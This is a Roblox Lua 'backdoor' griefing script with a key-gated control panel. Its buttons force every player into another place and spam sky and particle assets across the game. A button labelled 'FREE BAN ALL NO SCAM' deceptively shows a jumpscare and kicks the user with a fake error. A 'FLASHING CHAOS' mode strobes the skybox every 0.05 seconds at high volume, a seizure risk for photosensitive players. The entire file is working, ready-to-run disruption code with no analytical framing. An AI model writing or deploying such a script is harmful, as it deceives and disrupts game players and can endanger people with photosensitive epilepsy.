-- [[ d00mkidd backdoor v3 - CHAOS BUILD ]] --
-- [[ Key: noskidder ]] --

local k = "noskidder"
local lp = game.Players.LocalPlayer
local ts = game:GetService("TeleportService")
local clr = Color3.fromRGB(0, 255, 0)

-- Configuration & IDs
local realm_id = 125836019189496
local scary_id = "rbxassetid://127140191886401"
local sound_id = "rbxassetid://6129291390"
local chaos_sound = "rbxassetid://131153556798308"

local assets = {
    ["A1"] = "rbxassetid://135875429426904",
    ["A2"] = "rbxassetid://105909205211103",
    ["A3"] = "rbxassetid://71267346169163",
    ["A4"] = "rbxassetid://134804985714500",
    ["A5"] = "rbxassetid://85571383447667",
    ["A6"] = "rbxassetid://71400778951609"
}

local flash_ids = {"rbxassetid://91230155186449", "rbxassetid://76486774"}
_G.ChaosActive = false

-- // FLASHING SKYBOX LOGIC // --
local function startChaos()
    _G.ChaosActive = not _G.ChaosActive
    if not _G.ChaosActive then return end
    
    local s = Instance.new("Sound", game.SoundService)
    s.Name = "ChaosLoop"
    s.SoundId = chaos_sound
    s.Volume = 10
    s.Looped = true
    s:Play()
    
    local sky = game.Lighting:FindFirstChildOfClass("Sky") or Instance.new("Sky", game.Lighting)
    
    task.spawn(function()
        local count = 1
        while _G.ChaosActive do
            local id = flash_ids[count]
            sky.SkyboxBk = id sky.SkyboxDn = id sky.SkyboxFt = id
            sky.SkyboxLf = id sky.SkyboxRt = id sky.SkyboxUp = id
            count = (count == 1 and 2 or 1)
            task.wait(0.05) -- High speed flash
        end
        s:Stop() s:Destroy()
    end)
end

-- // JUMPSCARE LOGIC // --
local function TRAP()
    local sg = Instance.new("ScreenGui", lp.PlayerGui)
    local s = Instance.new("Sound", game.SoundService)
    s.SoundId = sound_id s.Volume = 10 s:Play()
    local main = Instance.new("ImageLabel", sg)
    main.Size = UDim2.new(1.2, 0, 1.2, 0)
    main.Position = UDim2.new(-0.1, 0, -0.1, 0)
    main.Image = scary_id
    task.wait(1.8)
    lp:Kick("Fatal Error: Server-Side Overflow")
end

local function applyAsset(id)
    local s = Instance.new("Sky", game.Lighting)
    s.SkyboxBk = id s.SkyboxDn = id s.SkyboxFt = id
    s.SkyboxLf = id s.SkyboxRt = id s.SkyboxUp = id
    for _, v in pairs(workspace:GetDescendants()) do
        if v:IsA("BasePart") then
            local p = Instance.new("ParticleEmitter", v)
            p.Texture = id p.Rate = 45
        end
    end
end

local function Main()
    local gui = Instance.new("ScreenGui", lp.PlayerGui)
    gui.Name = "d00m_UI"
    local main = Instance.new("Frame", gui)
    main.Size = UDim2.new(0, 340, 0, 420)
    main.Position = UDim2.new(0.1, 0, 0.1, 0)
    main.BackgroundColor3 = Color3.fromRGB(10,10,10)
    main.BorderColor3 = clr main.Draggable = true main.Active = true
    local sc = Instance.new("ScrollingFrame", main)
    sc.Size = UDim2.new(1, -10, 1, -40)
    sc.Position = UDim2.new(0, 5, 0, 35)
    sc.BackgroundTransparency = 1 sc.CanvasSize = UDim2.new(0,0,4,0)
    local grid = Instance.new("UIGridLayout", sc)
    grid.CellSize = UDim2.new(0, 155, 0, 30)

    local function addBtn(txt, call, isSpecial)
        local b = Instance.new("TextButton", sc)
        b.BackgroundColor3 = Color3.fromRGB(30,30,30)
        b.TextColor3 = clr b.Text = txt b.Font = "Code"
        b.MouseButton1Click:Connect(call)
        if isSpecial then
            task.spawn(function()
                while b.Parent do b.BackgroundColor3 = Color3.fromHSV(tick()%2/2, 1, 0.5) task.wait() end
            end)
        end
    end

    addBtn("FREE BAN ALL NO SCAM", TRAP, true)
    addBtn("FLASHING CHAOS", startChaos, true) -- Chaos Toggle
    addBtn("teleport server", function()
        for _, v in pairs(game.Players:GetPlayers()) do pcall(function() ts:Teleport(realm_id, v) end) end
    end)
    addBtn("Asset 1", function() applyAsset(assets.A1) end)
    addBtn("Asset 2", function() applyAsset(assets.A2) end)
    addBtn("Asset 3", function() applyAsset(assets.A3) end)
    addBtn("Asset 4", function() applyAsset(assets.A4) end)
    addBtn("Asset 5", function() applyAsset(assets.A5) end)
    addBtn("Asset 6", function() applyAsset(assets.A6) end)
    addBtn("STOP ALL", function()
        _G.ChaosActive = false
        for _, v in pairs(game:GetDescendants()) do
            if v:IsA("Sky") or v:IsA("ParticleEmitter") or v:IsA("Sound") then v:Destroy() end
        end
    end)
end

-- // KEY SYSTEM // --
local kg = Instance.new("ScreenGui", lp.PlayerGui)
local kf = Instance.new("Frame", kg)
kf.Size = UDim2.new(0, 250, 0, 100)
kf.Position = UDim2.new(0.5, -125, 0.5, -50)
kf.BackgroundColor3 = Color3.new(0,0,0)
kf.BorderColor3 = clr
local box = Instance.new("TextBox", kf)
box.Size = UDim2.new(0.8, 0, 0.3, 0)
box.Position = UDim2.new(0.1, 0, 0.2, 0)
box.PlaceholderText = "key: noskidder"
box.TextColor3 = clr
box.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
local sub = Instance.new("TextButton", kf)
sub.Size = UDim2.new(0.4, 0, 0.3, 0)
sub.Position = UDim2.new(0.3, 0, 0.6, 0)
sub.Text = "Verify"
sub.TextColor3 = clr
sub.BackgroundColor3 = Color3.fromRGB(30,30,30)
sub.MouseButton1Click:Connect(function()
    if box.Text == k then kg:Destroy() Main() end
end)